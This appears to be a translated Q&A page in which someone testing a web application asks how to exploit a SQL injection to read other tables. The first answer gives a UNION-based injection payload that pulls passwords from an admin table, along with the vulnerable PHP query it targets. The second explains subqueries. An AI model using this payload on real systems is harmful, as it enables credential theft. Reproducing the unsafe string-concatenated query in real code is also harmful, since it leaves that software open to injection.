覆盖WHERE子句中的列值?

时间:2012-11-05 19:20:22

标签: mysql sql security

我想知道是否可以覆盖SQL查询的Where子句中的列值(在我的情况下是MySQL)。

更清楚,这是一个例子:

假设一个基本查询是:

SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";

是否可以强制lastnamefirstname从其他表中返回值,只需修改WHERE部分之后的内容即可?像

这样的东西
SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);

我目前正在测试一个Web应用程序,我发现了SQL注入漏洞,我可以将Doe更改为我想要的任何内容,但我只能使用一个查询(mysql_query restriction of PHP)和{ {1}}(所以没有“和')。

2 个答案:

答案 0 :(得分:5)

可能是

SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --

其中{0}不存在的值和来自其他表的{1}数据

来自维基示例的更新

$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");

成为

SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')

答案 1 :(得分:0)

您在SELECT ... WHERE子句中使用的语法是一个称为子查询的标准SQL功能。

在您的示例的上下文中,子查询有一个限制,只返回单个值。否则,您的查询是一个有效的SQL,您可以使用IN运算符更改子查询以返回多个值(使用隐式OR),如下所示:

SELECT lastname, firstname FROM contacts 
 WHERE lastname IN (
                    SELECT name FROM companies
                   );

您可以dig deeper进入此主题以发现相关子查询。

相关问题